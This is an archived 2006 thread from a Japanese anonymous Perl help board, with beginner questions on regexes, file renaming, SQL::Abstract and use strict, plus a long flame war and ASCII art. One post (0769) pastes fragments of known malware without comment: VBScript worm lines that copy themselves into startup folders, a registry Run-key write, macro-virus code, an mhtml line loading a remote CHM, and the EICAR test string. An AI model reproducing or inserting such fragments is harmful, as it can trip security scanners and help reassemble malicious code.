2006/08/15(火) 18:41:550611デフォルトの名無しさん
2006/08/15(火) 19:34:400612デフォルトの名無しさん
2006/08/15(火) 20:15:44tableの行をforeach文で増やしたい場合は、どのようにするのが適切でしょうか?
.
.
foreach (@abc){
$q->Tr(
$q->td($q->b("xxx")),
$q->td($q->b("yyy"))
)
}
.
.
のようなカタチでやってみると、うまく表示が出ません。
この描き方は間違っているのでしょうか?
ご教授お願いします。
0613デフォルトの名無しさん
2006/08/15(火) 20:35:02CGIとPerlの区別がつかない人もWEBプログラミング板に行ってください。
(WEBプログラミング板 http://pc8.2ch.net/php/ )
0615デフォルトの名無しさん
2006/08/15(火) 21:19:14http://pc8.2ch.net/test/read.cgi/php/1153987463/505
0616デフォルトの名無しさん
2006/08/15(火) 21:21:110617デフォルトの名無しさん
2006/08/15(火) 21:25:380618デフォルトの名無しさん
2006/08/16(水) 01:45:43ひとつも\(バックスラッシュ)が含まれていないものにのみマッチする
正規表現ってありますか?
$test = "\\engo\\";
#\のマッチ回数が0回のもの
if ($test =~ /[\\]{0}/){
print "matched\n";
}
これだと
$test = "engo\\";
にしてもマッチします。
$test !~ /[^\\]/;
とするのがよさそうですが、
それ以外でする方法があればぜひ・・
0619デフォルトの名無しさん
2006/08/16(水) 01:56:370620デフォルトの名無しさん
2006/08/16(水) 01:57:560621デフォルトの名無しさん
2006/08/16(水) 02:06:55なるほど!ありがとうございます!!
>>620
そうしたいところなんですが、
どうしても!~が使えないところでして・・・
助かりました。
ありがとうございますー
0622デフォルトの名無しさん
2006/08/16(水) 11:00:47parrot上で走るhaskellコンパイラは登場するのでしょうか。
0623デフォルトの名無しさん
2006/08/16(水) 11:46:06 ̄| / ̄\ ___ |
|/ .___| ___| l .∧ /
/| \ノ\ \ノ\ ∨ ∨
0624デフォルトの名無しさん
2006/08/16(水) 15:32:26何かひらめいたところで、普段から努力してねーやつには
実現は不可能だぜざまーみろ愚民め という意味だと言ってた。
0625デフォルトの名無しさん
2006/08/16(水) 17:14:150626デフォルトの名無しさん
2006/08/16(水) 18:57:220627デフォルトの名無しさん
2006/08/16(水) 19:07:20いくら考えても分かりません。解答よろ。
0628デフォルトの名無しさん
2006/08/16(水) 19:14:43このような流れを一回の実行(一つの処理)としてやりたいのですが、可能でしょうか?
0629デフォルトの名無しさん
2006/08/16(水) 19:15:47ニュース・雑談サイトの名前です。
See also
ttp://slashdot.jp/
0630デフォルトの名無しさん
2006/08/16(水) 19:20:06可能です
0631デフォルトの名無しさん
2006/08/16(水) 19:23:26可能ですか!
よろしければやり方を教えてもらえないでしょうか?
0632デフォルトの名無しさん
2006/08/16(水) 19:41:49perl -e 'undef $/; while (<>) { /(?#好きな処理)/ }' *.txt
0633631
2006/08/16(水) 20:33:180635デフォルトの名無しさん
2006/08/16(水) 22:39:03http://www.parrotcode.org/languages/
今のところないみたいだけど、そのうち出るかもしれないですね。
つーか.NETは遅気味だけど、parrotはまともなスピードで動くのか不安だ・・・
0636デフォルトの名無しさん
2006/08/17(木) 03:17:40もっと「練習問題」を解きたいのですが、どこかに問題ないでしょうか?
0637デフォルトの名無しさん
2006/08/17(木) 03:37:00っ[現実世界]
0638デフォルトの名無しさん
2006/08/17(木) 08:32:20一生かかっても解けない奴が多い問題が練習問題かぁ
貴方は神ですか?
0639デフォルトの名無しさん
2006/08/17(木) 08:36:520640デフォルトの名無しさん
2006/08/17(木) 10:48:57ちょっと涙ぐんでしまった。
0641デフォルトの名無しさん
2006/08/17(木) 11:03:22Common Lisp と Scheme は実装予定なんですね。
0642デフォルトの名無しさん
2006/08/17(木) 13:33:25練習問題をさがすよりは・・・
CPANモジュールのインストールと使用方法に習熟するのを薦める。
今だったらCGI::ApplicationとCatalyst関係が
いいかな。
mod_perlなどもおすすめ
ただし、英語がわからないとつらいかも
0643デフォルトの名無しさん
2006/08/17(木) 13:43:02今Catalystが熱い!ってどこかで聞いたので頑張ってインストールしてみたものの
そこからどうしていいのやら・・・情報が英語ばかりですね
とりあえず基本的なCPANモジュールから使っていこうかと思います。
0644デフォルトの名無しさん
2006/08/17(木) 14:36:50がんばれー
0645デフォルトの名無しさん
2006/08/17(木) 22:29:58今まで上から順番に実行されてくようなスクリプトしか見てこなかった俺は
これがほんとにperlかと疑った
0646デフォルトの名無しさん
2006/08/17(木) 23:44:55> catalyst思いっきり上級者向けだわな
別に。
0647デフォルトの名無しさん
2006/08/18(金) 11:35:44Web+DB PRESS vol. 32 の Recent Perl World で Catalyst の入門特集組んでましたよ。
執筆は確かハテナオヤ氏。
0648デフォルトの名無しさん
2006/08/19(土) 00:56:35(つд⊂)ゴシゴシ
(;゚д゚)
(つд⊂)ゴシゴシ
_, ._
(;゚ Д゚) …?!
Catalystを作った奴は上級だけど使うのはそんなに難しくねぇだろ。
0649デフォルトの名無しさん
2006/08/19(土) 02:04:540650デフォルトの名無しさん
2006/08/19(土) 03:07:480651デフォルトの名無しさん
2006/08/19(土) 03:33:300652デフォルトの名無しさん
2006/08/19(土) 07:08:49$newnameのファイルが既に存在していると、
勝手に上書きされてしまうんですが、
連番などを付けて上書きしないようにすることはできますか?
0653デフォルトの名無しさん
2006/08/19(土) 07:56:20for (@ARGV) {
$oldname = $_;
$newname = $oldname;
$newname =~ s/hoge/fuga/g;
unless($oldname eq $newname){
$newname_pre = $newname;
while(-f $newname){
$newname = "$newname_pre\($ren_value\)";
$ren_value++;
}
}
$ren_value = 0;
rename($oldname,$newname);
}
なんだかスマートではない気がしますが自己解決しました、
拡張子とファイル名を分けていなかったのでそちらが問題となりましたが
こちらはすぐ解決しそうです
0654デフォルトの名無しさん
2006/08/19(土) 15:38:020655デフォルトの名無しさん
2006/08/19(土) 16:49:520656655
2006/08/19(土) 16:52:260657デフォルトの名無しさん
2006/08/19(土) 17:49:50甚だしく意味不明瞭な質問だが……
段階1: CPANでパスワードつきZIPを作るモジュールを探してそれを使う
段階2: CPANになかったら、ZIPの仕様を調べてパスワードつきZIPを作るプログラムを書く
0658あやか
2006/08/20(日) 02:29:14$name = "[picture415]hogex.jpg";
$v1 = '\[picture(.+)\]';
$v2 = "(picture$1\)";
$name =~ s/$v1/$v2/g;
#single quote
$namex = "[picture415]hogex.jpg";
$v1x = '\[picture(.+)\]';
$v2x = '\(picture$1\)';
$namex =~ s/$v1x/$v2x/g;
#direct
$namexx = "[picture415]hogex.jpg";
$namexx =~ s/\[picture(.+)\]/(picture$1\)/g;
三番目の #direct のように 直接書くと意図した動作になるのですが、
一番目と二番目のように、変数を使って正規表現の置き換えをしようとして失敗しました。
下のように(これも上記のように動作しない)、
(正規表現1),(正規表現2)[改行] ×n
のように記述されたテキストファイル、seiki.txt を読み込んで
置き換えしたいのですが、何をどうすれば意図した動作が実現しますかね?
$filename_example = "[picture415]hogex.jpg"
open (SEIKI,"seiki.txt");
@seiki = <SEIKI>;
close (SEIKI);
chomp @seiki;
foreach $raw (@seiki) {
($before,$after) = split (/,/,$raw);
$filename_example =~ s/$before/$after/g;
}
0659デフォルトの名無しさん
2006/08/20(日) 02:55:25の部分は正規表現ではなく、特殊変数のなので、
上の2つは失敗します。
特殊変数を含まない普通の正規表現なら変数に格納しようが
何の問題も無いです。
0660あやか
2006/08/20(日) 03:10:19特殊変数を使う場合は直接記述するしかありませんかね?
0661デフォルトの名無しさん
2006/08/20(日) 03:40:140662あやか
2006/08/20(日) 04:42:22$name = "[picture415]hogex.jpg";
$v1 = '\[picture(.+)\]';
$v2 = '(picture$1\)';
$exec = '$name'."=~ s/$v1/$v2/g;";
eval $exec;
print "$name\n";
どうやらできたみたいです、どうも\(^o^)/
0663ken
2006/08/20(日) 21:53:01ほかのファイルの文字をとってきたいんですがどうしたらいいでしょうか?
AAA
BBB="CCC"
このtxtファイルからCCCを取りたいです
文章下手ですみません
よろしくおねがいします
0664デフォルトの名無しさん
2006/08/20(日) 22:00:31my@a=<fh>;
close fh;
my$b=substr($a[1],5,3);
0665デフォルトの名無しさん
2006/08/20(日) 22:51:49my %hash;
open my $fh, "<", "663.txt" or die;
while (<$fh>) {
chomp;
next if $_ eq '';
my ($name, $value) = split /=/, $_, 2;
if (defined $value) {
$value =~ s/^$_(.*)$_$/$1/s for qw(" ');
}
$hash{$name} = $value;
}
close $fh;
# テスト出力
use Data::Dumper;
print Dumper(\%hash);
print "$hash{BBB} is a value of BBB\n";
# 初心者の学習には丁度いいかも。車輪は既にあるけれど。
# でも質問はもうちょっとやりたいことを整理して、伝わるように書いてね。^^;
0667デフォルトの名無しさん
2006/08/21(月) 00:55:10perlembedのMaintaining multiple interpreter instancesの最初のほうの例に
従いつつ、ExtUtil::Embedでperlxsi.c作ってperl_parseにxs_initを渡したんだけど、
二回目のperl_parseで「ハンドルされていない例外が発生しました」ってなってしまう。
なんでだろうか?
0668デフォルトの名無しさん
2006/08/21(月) 01:52:28こういう要求されても無い汎用性をゴンゴン詰め込んだコード見ると
アホだなぁって思う。
目的と方法のバランスがめちゃくちゃ。
>>667
USENET行け
0669デフォルトの名無しさん
2006/08/21(月) 02:12:05言うほど凝ったコードでもないだろう。
0671デフォルトの名無しさん
2006/08/21(月) 03:32:20BBB="CCC"なんていうデータ構造がそもそも間違ってる事に容易に気付くわけで、
それをスクリプト側で過剰にフォローして、メンテナンス制の低い
コードを量産するような行為は愚かだ、ということ。
0672665
2006/08/21(月) 03:47:30なるほど、もっともだ。
ただし僕は 663.txt (仮名) を外部リソースだと判断したので as is 扱いにしたのね。
「自前のデータファイルの解析方法を教えてください」はなんぼなんでもないだろう、と。(w
…ここの質問者を甘く見てたってことなのかそうなのか。
0673デフォルトの名無しさん
2006/08/21(月) 09:07:16これって絶対誰か車輪作ってるよね?
0674デフォルトの名無しさん
2006/08/21(月) 09:21:15解析した人しかわかってないからフォーマットにいろんな方言があるよね。
このフォーマット自体はAPIを叩くだけで簡単に使えるけど。
0675デフォルトの名無しさん
2006/08/21(月) 09:25:07同時に2つ動かすと重なる危険があるよ。そういう使い方は絶対しないのなら
そのぐらいの手抜きでもいいけどね。
0676デフォルトの名無しさん
2006/08/21(月) 13:06:300677デフォルトの名無しさん
2006/08/21(月) 17:01:40VCならVisualC++とかJavaならEclipseなど定番のソフトがありますが、
perlならこれ、といったソフトは聞きません
とりあえず今はサクラエディタを使ってます
みなさんもテキストエディタを使っているのでしょうか
というのも、Catalystを勉強しようと思った時に、コマンドラインで
開発しなきゃいけないような感じがしたので、Perlってそういうもの
なのかなあと疑問に思ったんです
0678デフォルトの名無しさん
2006/08/21(月) 17:06:520679デフォルトの名無しさん
2006/08/21(月) 17:40:271.EasyEclipse for LAMP
2.Eclipse ver 3.1 + EPIC[Perlプラグイン] + PadWalker[Win用モジュール]
3.Aptana + EPIC[Perlプラグイン] + PadWalker[Win用モジュール]
0680デフォルトの名無しさん
2006/08/21(月) 18:17:05コーディング:PSPad
デバッグ:PerlIDE
みんな何を使っているんだろう。
0681デフォルトの名無しさん
2006/08/21(月) 18:21:560682デフォルトの名無しさん
2006/08/21(月) 18:30:23cperl-mode on Emacs って人も結構見かける。
ActiveState の売り物で PDK ってのがあるけど、誰か愛用してる人いたらコメント欲しいな。
見た目は悪くなさそうな感じで興味はあるし。貧乏だから自分では使わないだろうけど。(涙
>>681
cat と ed じゃなくて? ;-)
0683デフォルトの名無しさん
2006/08/21(月) 19:01:33Perlのプログラミングにemacsを使うというより、
いつもEmacsの上でゴロゴロしているのでPerlも
Emacsという感じ。
0684デフォルトの名無しさん
2006/08/21(月) 19:16:000685デフォルトの名無しさん
2006/08/21(月) 19:24:48emacsでコーディングして,
perl -cwでシンタックスチェックして,
perl -dでデバックで十分じゃね?
なにをすればそんなにperlのコーディングにIDEが必要なの?
0686デフォルトの名無しさん
2006/08/21(月) 19:30:240687デフォルトの名無しさん
2006/08/21(月) 19:43:03それも別にIDEじゃなきゃできんことでねぇし。。。
普通にコマンドラインからで十分じゃね?
むしろ細かいオプションとかつけたいからおれはそっちでないと困ること多いし。
単純にWindowsユーザが多いから
GUIで見た目の先入観でとっつきやすそうというのと
英語が読めない奴がドキュメント読めなくて
日本語書籍でHowTo情報が扱われているからがそっちに流れてくってことでしょ。
ぶっちゃけJavaもPerlもコーディングは文字コードと改行コードが変更できる
テキストエディタであればemacsでなくても十分。
0688デフォルトの名無しさん
2006/08/21(月) 19:47:35----hoge/test.pl
require "hoge.pl";
----hoge/hoge.pl
print "HelloWorld";
とあったときに、
hogeディレクトリではなく、下のディレクトリから、
> perl hoge/test.pl
とすると、
Can't locateと言われてしまいます。
これは仕様でしょうか・・・。
0689デフォルトの名無しさん
2006/08/21(月) 19:52:00@INCに、自動でhogeディレクトリは入りません。
0690デフォルトの名無しさん
2006/08/21(月) 19:52:18そう力むなよ。
選択可能な別のやり方が常にあるのは幸せなことだ。
There's more than one way to do it. だろ? ;-)
実際業務命令でもない限り、不便な物を我慢して使い続けるような堪え性のある Perl 使いを僕は知らんので、みんなそれぞれの用途で便利に使ってんでしょ。
もし本当に具体例に興味があるなら使ってる人間を問い詰めてくれ。w
0691デフォルトの名無しさん
2006/08/21(月) 19:58:29use lib とその関連情報を当たりましょう。
書籍なら「続・初めてのPerl」(Learning Perl Objects, References, and Modules) を読めばその辺りの理解が深まるでしょう。
0692デフォルトの名無しさん
2006/08/21(月) 20:03:59短いものはワンライナー。
1, 2ページならvi。
それ以上はemacs。
0693デフォルトの名無しさん
2006/08/21(月) 20:56:52[ANNOUNCE] Emacs modules for Perl programming
http://www.uni-giessen.de/faq/archiv/perl-faq.emacs-lisp-modules/msg00000.html
TinyPerlって使っている人いるけ?
0694デフォルトの名無しさん
2006/08/21(月) 21:42:02個人的には Devel::PerlySense が気になるんだが、もう止まってるんだな。
0695デフォルトの名無しさん
2006/08/21(月) 22:45:49サンクソです。
cd してから、perlに渡すことにします
0696デフォルトの名無しさん
2006/08/22(火) 17:39:17ttp://perldoc.jp/docs/modules/SQL-Abstract-1.17/Abstract.podに書いてある
selectのSQLを生成する式の\@orderの記し方がわかりません。(記載されていません。)
SQL::Abstractを使用して select * from hoge order by foo desc というSQLを
生成するには\@orderをどのような内容にすればよいのでしょうか。
0697デフォルトの名無しさん
2006/08/22(火) 18:05:11こんな感じでいけるみたいだが。
use SQL::Abstract;
my $sql = SQL::Abstract->new;
my($stmt, @bind) = $sql->select('hoge', '*', undef, ['foo desc']);
print $stmt, "\n";
0698696
2006/08/22(火) 18:18:13迅速に解答していただきありがとうございました。
助かりました。
本当にありがとう。
0699デフォルトの名無しさん
2006/08/22(火) 19:17:04↑こいつは何をしているんですか?
myやらlocalとかいうのに関係しているのはわかったのですが
未だに何だかわかりません
,,,,,,,、 ,,,,,,_゙'-,. "'i、 .,,,,,,,、 ,,,,,,,゙'-、^'i、 .i,¬ー-、
゙''i、`\ \.`''-\,,l゙ `'i、 `''i、 ‘'-,`''-\,,l゙ ^'i、 ,)
丿 ,l,_,,,,,,,― |i、 } 丿 Z_,,,,,,-ヘヽ、゙l | .| __
,/ ,,-----�=@,,,7゙"` ,/ ,,-----�=@,,,)゙″ | | .,,-'",,,,,,、`'i、
,/`./ / 丿 / .,/` ,l゙ 丿 |゙ヽ,,,―" `゙'ュ‐゙_,/゛ | |
.,/.,,/` /` 丿 ,/ ,/ ,/ 丿 \,,,,-‐,! '`,/ .| l゙
,,-",,/ 丿 ,i´ ,/_,/ 丿 ,i´ 丿 ,,,i´ ,! |
i彡‐" ,/` ,/` ィ,ン'" / ./ ,/ .| | |
,,i´ ./ ,,‐`./ ,/`.,┤ | | | ./゙|
.,/ .,/ ,/ .,/ / 丿 | .| { { .,/ ,l゙
,,/ ,/` ,,/ ,/` / ,、゙'-,| l゙ | }, ._/.ノ
_,/゙,,/゛ _,/゙,,/゛ l゙ .,/`\ | ヽ,_ ゙"゛,,/
(ン'"゛ (ン'"゛ `″ ゙l 丿 `゙゙゙゙゛
゙'"`
0701デフォルトの名無しさん
2006/08/22(火) 19:45:38「ググる」を使うとGoogleの中の人に怒られちゃいますよ><
0702デフォルトの名無しさん
2006/08/22(火) 21:02:52Google を使う分には「ググる」で問題なし。
ttp://zarutoro.cocolog-nifty.com/blog/2006/08/google_8490.html
0703デフォルトの名無しさん
2006/08/22(火) 21:19:06「ググれ」と書いてると思うが。それにしても、一般動詞化なんて最高の褒め言葉なのになぁ。
ってスレ違いごめん...
0704デフォルトの名無しさん
2006/08/22(火) 21:34:250705デフォルトの名無しさん
2006/08/22(火) 21:46:07褒め言葉じゃ金にならんし。
0706デフォルトの名無しさん
2006/08/22(火) 22:09:500707デフォルトの名無しさん
2006/08/22(火) 22:15:26親クラスって言うんだろうか。
0708デフォルトの名無しさん
2006/08/22(火) 22:15:47strict プラグマは犯しやすい間違いと、失敗を誘発しやすいいくつかの手段を制限します。
実際には、「完全修飾されないパッケージ変数と未宣言の変数」、「シンボリックリファレンス」、「bareword」 の 3 種を禁じます。my に関係してくるのは最初のやつですね。
このプラグマは、開発の序盤から使うという条件付きながら、プログラミングの効率を高めてくれます。
ありがちな間違いの可能性の多くをコンパイル時に教えてくれるからです。これによって不可解な実行時エラーや、厄介なセマンティクス上の不具合に悩まされる回数が減ります。
お手元の環境に Perl があれば perldoc strict に目を通しましょう。Web でもたくさんの解説が見つかると思います。
また、せっかく興味を持たれたなら warnings プラグマについても調べてみてください。
0709デフォルトの名無しさん
2006/08/22(火) 22:17:20ついつい他と区別せずにつかってしまうな。
0710デフォルトの名無しさん
2006/08/23(水) 05:15:51おまえはstrictという英単語の意味も知らないのか?
知らなくても辞書を使って調べるという発想/能力もないのか?
そもそもperlの事なのにperlについてくるドキュメントをなぜ読まない?
perldoc使えないのか?
コマンドラインからperldoc -hさえ出来ない低脳か?
0711デフォルトの名無しさん
2006/08/23(水) 08:51:390712デフォルトの名無しさん
2006/08/23(水) 09:04:240713デフォルトの名無しさん
2006/08/23(水) 09:12:35オマエは日本語もできねぇのか!?
710は「use strict」という英語を調べろと書いてねぇぞ
「strict」という英単語を調べろっていってんだろ。
0714デフォルトの名無しさん
2006/08/23(水) 09:14:17>>711 おまえはもう書き込むな。一生ROMってろ
0715デフォルトの名無しさん
2006/08/23(水) 12:03:44あれってCNETの日本語の記事がアンポンタンな気がするが、
英語だと「グーグル」も「ググれ!」も"google" "google!" と同じであり、
"to google someone!" みたいな使われ方をするのがダメなのであって、
日本語みたいに動詞、命令形が商標とかぶらない場合は問題ないと思うのだが。
0716デフォルトの名無しさん
2006/08/23(水) 12:28:010717デフォルトの名無しさん
2006/08/23(水) 12:52:14http://guguru.jp
guguru.jpをwhoisしてみ。多分「ググる」も問題視してるのでは
0718デフォルトの名無しさん
2006/08/23(水) 15:53:170719デフォルトの名無しさん
2006/08/23(水) 19:57:530720デフォルトの名無しさん
2006/08/24(木) 00:41:29>>1の
http://www.perl.org/get.html
からダウンロード出来ないのだが
0721デフォルトの名無しさん
2006/08/24(木) 01:12:07通常は、readdirで取得できるファイル名のリストの順番はソートされているのでしょうか?
CentOS4.2 Perl 5.8.5ではバラバラのリストが返ってきますが
coLinuxに入れた CentOS4.3 Perl 5.8.5ではソートされたものが返ってきます。
0722デフォルトの名無しさん
2006/08/24(木) 01:45:30お試しの通り、まるで保証されません。
特定の環境下での結果は当てになさらないほうが良いでしょう。
0723デフォルトの名無しさん
2006/08/24(木) 02:29:43use strict "vars";
use strict "refs";
use strict "subs";
の略。うえの書き方ならある程度意味の察しがつくだろうね。(英語がわかれば
perlはたいてい可能ならば英文法に似せるように努力してるよ。
それがlarry wallとかperlコミュニティの人たちの趣味だから。(最近はto dwim itという動詞ができてるw
括弧がほとんどの場合省略可能なのとかも、英語"みたい"に書ける
ことがいいことだって言う考え方の表れだと思うし、・・・
その辺のニュアンスが理解できない、あるいは賛成できない人がperlコードは見るだけでキモイ
といってるんだと思うけど・・・
まあ、そういう人のためにはpythonという選択肢があるわけで、世の中ちょうどよくできてる・・・w
つーか>>712>>713>>714は市ね
0726デフォルトの名無しさん
2006/08/24(木) 05:26:12>>719もじゃない?
たまにこういう面白いのが出てくるからこのスレは好きだ。
…昔はPerlに関する興味深いやりとりがあって好きだったんだけどな。
0727デフォルトの名無しさん
2006/08/24(木) 06:00:50醜いんだよ。
ここはperlのスレでgoogleについて語るスレではない。
>…昔はPerlに関する興味深いやりとりがあって好きだったんだけどな。
googleのブランディングの話がperlに関する興味深い話なのか?
雑談なら他所でやれ。
0728デフォルトの名無しさん
2006/08/24(木) 06:14:320729デフォルトの名無しさん
2006/08/24(木) 06:32:240730デフォルトの名無しさん
2006/08/24(木) 06:33:40英語がどうとか言って日本語がわからなかったのか、きみはw
0731デフォルトの名無しさん
2006/08/24(木) 06:41:160732デフォルトの名無しさん
2006/08/24(木) 06:45:52今の時間帯に短時間にレスしてると自作自演がバレバレですよw
自分の気に入らないレスがついたからって710とかに粘着しても貴方の低脳さはかわりませんよ。
関係ない話でperlスレを荒らすくらいなら雑談スレに言ってください。
0733デフォルトの名無しさん
2006/08/24(木) 06:49:21自分が自演してるからって。
0734デフォルトの名無しさん
2006/08/24(木) 06:50:590735デフォルトの名無しさん
2006/08/24(木) 06:53:48お前も十分粘着だ。
0736デフォルトの名無しさん
2006/08/24(木) 06:54:38IDが表示されないからって
今の時間帯に短時間にレスしてると自作自演がバレバレですよw
0737デフォルトの名無しさん
2006/08/24(木) 07:06:47おまえこそどこか言ってください
言ってください
0738デフォルトの名無しさん
2006/08/24(木) 07:12:340739デフォルトの名無しさん
2006/08/24(木) 07:32:37PERLじゃなきゃなんでもいいじゃないか。
ちなみにpearlはまた別の言語。
0740732
2006/08/24(木) 07:33:540741デフォルトの名無しさん
2006/08/24(木) 08:22:500742デフォルトの名無しさん
2006/08/24(木) 08:35:580744デフォルトの名無しさん
2006/08/24(木) 09:27:520745デフォルトの名無しさん
2006/08/24(木) 09:28:580746デフォルトの名無しさん
2006/08/24(木) 09:35:02いやさすがにそれはwww
0747デフォルトの名無しさん
2006/08/24(木) 09:38:000748732
2006/08/24(木) 09:41:100749デフォルトの名無しさん
2006/08/24(木) 09:57:270750デフォルトの名無しさん
2006/08/24(木) 09:59:48はあ?
0751デフォルトの名無しさん
2006/08/24(木) 10:17:47,. -┬i^i、._ ィ`,、,、,、,、,.、'、
. / | | .|=ゞ=、 __l/\ v~/!|
l. l l l \\{f‖ミゞ, ,ィ≪:lf^i >>726もういい…!
/ヽ. ノ「,ト、「.lヘ‐iヾ|rー~r〉〉,こlレ' もう…
/ `ヽ//| ト、ヽlイ| |/|{王王王王}ト、 やめろっ…!
| レニ| lニゝ冫! l!L_, , ,ー, , , ,_」シ’、 おまえの自作自演はみんなにばれてるんだ…!
ヽ __|ーL|┴^ーヽ>'^ヾ二三シ´\\ これ以上自分を貶めるな。
,ゝ,/ .}二二二二二二二二二lヽ. ヽ \ オマエは十分戦った。
l/ |ト、./´\ ||. レ'´ ̄`ヽ
|| ! 、\ ||. / :|
|| |.l l゛!.|i |ヽ) |l/ /
|| `ヘ)U'J /-─ ,イ.|
|| _ /-─ / ヽ|
|| r‐-゛=っ`ヽ,.--r-ー ''"´ ̄`ヽ / }
||. {三二 | │ / /
||. ヾ=--一'`ーゝ _,. く ノ|
0752デフォルトの名無しさん
2006/08/24(木) 10:27:380753デフォルトの名無しさん
2006/08/24(木) 10:28:58反論できなくなったらAA貼り付けってwww典型的な厨房行為だな。
0754726
2006/08/24(木) 10:30:50おkwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwwっうぇwwwwwwwwwwwwwwwwっうぇええwwwwwwwwwwwwww
0756デフォルトの名無しさん
2006/08/24(木) 10:33:12騙り乙。
つーかひとの書き込み曲解しないでくれ。
0757デフォルトの名無しさん
2006/08/24(木) 10:36:50喧嘩・口論板でやりましょう。
0758デフォルトの名無しさん
2006/08/24(木) 10:37:21騙り乙。
つーかひとの書き込み曲解しないでくれ。
0759デフォルトの名無しさん
2006/08/24(木) 10:37:30>>710,>>712->>714,>>717,>>719,>>727,>>732,>>734...
0761デフォルトの名無しさん
2006/08/24(木) 10:39:01734は間違いじゃないの?
0762デフォルトの名無しさん
2006/08/24(木) 10:39:39>>726,>>728-731,>>733-735,>>737,>>756,>>759...
0764726
2006/08/24(木) 10:40:490765726
2006/08/24(木) 10:41:400766デフォルトの名無しさん
2006/08/24(木) 10:43:15粘着してるのがどっちかバレる書きこみも出たし、そろそろ終りにしてはどうだ?
0767デフォルトの名無しさん
2006/08/24(木) 10:45:240769デフォルトの名無しさん
2006/08/24(木) 10:46:40If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
0771デフォルトの名無しさん
2006/08/24(木) 10:47:58これでやめるけど、最後のほうはほとんど煽ってなかったことを言い訳しとく。
じゃ。
0772デフォルトの名無しさん
2006/08/24(木) 10:48:08煽ってたなら同罪です
喧嘩・口論板に行ってください
0774デフォルトの名無しさん
2006/08/24(木) 10:57:230775デフォルトの名無しさん
2006/08/24(木) 11:14:34おなじこと言ってるほかの奴もそうじゃない?
しかし何で喧嘩口論板なんだwww
/ ,,-",-'i| .|i''-、 ヾ {
./ i {;;;;;;i| . |i;;;;;;) ,ノ ii
l, `'-i| .|i;;-' ,,-'" _,,-"
,,,,-'--''::: ̄:::::::'';;-==,_____ '" _,,--''"
':::::" ̄: :::::: ;;;;--;; ;;::::`::"''::---,,_ __,,-''"
-ニ--''" ̄.i| ̄ .|i-----,, ̄`"''-;;::''-`-,, __
.--i| .|i _, '"´ `丶
''"'' --- i| . |i / \
. i| |i ./ ,' / / / ヽ `ヽヽ
__ ____i| .|i--__,,--- ,l l j __ // ,イ 、ハヽ }! ハ
""''--;;i| .|i二;;;;;::--,,l l 「 j_从7ヽハ !七大 ` } リ }/
.i| .|i '| l Vf゙�i圷/ jl ノィアト、ヘ// /
.i| >>701-776 |i . j l l V_:ソ ´ V:リ /jイノ
. i| ノ::::i:::トiヽ、_.|.|i ,' ハ ヘ. ' ` ,' l !
. i|"ヽ/:iヽ!::::::::ノ::::|i / / l ヽ ー ‐ .厶 |ハ
::::::::/:::::|i/;;;;;;/::::;;;;ノ⌒.//' ∧ 弋ト 、 __ , r<7 l ヽ
/ / / ∧ Vー、 Kヽ{ 'ヽ ヽ
./ /./ /¨:.} ',__∧_j_l::::ハ \ } /
. ,′ l { /: :::/ /::::ヾ ☆Y:::ハ X
. { . V r' ::::::::/ /::::::::::\__j:::::入xぅ/ \
ヽ l { ::::::/ /::::::::::::::::::V://∠ ',
} ! j::/ /:!:::::::::::::::::::∧V _二}:ヽ /
/ / {( 〈:::::::l::::::::::::::::/:| j/ -ーソ:::ノ /
/ / |::ヽ \:::l::::::::::::/∠/j rテ':〃 ( ヽ
0778デフォルトの名無しさん
2006/08/24(木) 11:35:290779デフォルトの名無しさん
2006/08/24(木) 11:50:050780デフォルトの名無しさん
2006/08/24(木) 14:13:040781デフォルトの名無しさん
2006/08/24(木) 15:49:370782デフォルトの名無しさん
2006/08/24(木) 18:15:550783デフォルトの名無しさん
2006/08/24(木) 20:38:16whileと連想配列でシンプルに行けそうな気も。
0784デフォルトの名無しさん
2006/08/24(木) 21:30:45Perl Best Practice / Damian Conway
効率的で見やすくメンテナンスしやすいコードを書く具体的な指針
# ラベル付き引数を使え。
# $_ は使うな。
とありましたが、ラベル付き引数というのがいまいちわかりません。
どなたか、具体的な例を挙げてくださらないでしょうか。
0785デフォルトの名無しさん
2006/08/24(木) 21:51:08Name => 'デフォルトの名無しさん',
.
.
.
)
0786デフォルトの名無しさん
2006/08/24(木) 22:51:32「関数に複数引数がある場合はSCALARやARRAYじゃなくてHASHにしろ」ってこと
0787デフォルトの名無しさん
2006/08/24(木) 23:55:380788ヽ(´ー`)ノ ◆.ogCuANUcE
2006/08/25(金) 01:44:34週末にでも買おうと思うんだが、感想を聞きたい。
0789デフォルトの名無しさん
2006/08/25(金) 03:18:230790デフォルトの名無しさん
2006/08/25(金) 03:31:510791デフォルトの名無しさん
2006/08/25(金) 06:13:49perlって書き方たくさんあるんだから、
キモくないのを選択することはできないの?
それとも自分で書く分には問題ないけど他人のコードが
読みづらいということ?
0792デフォルトの名無しさん
2006/08/25(金) 07:43:25>>789 バ〜か
0793デフォルトの名無しさん
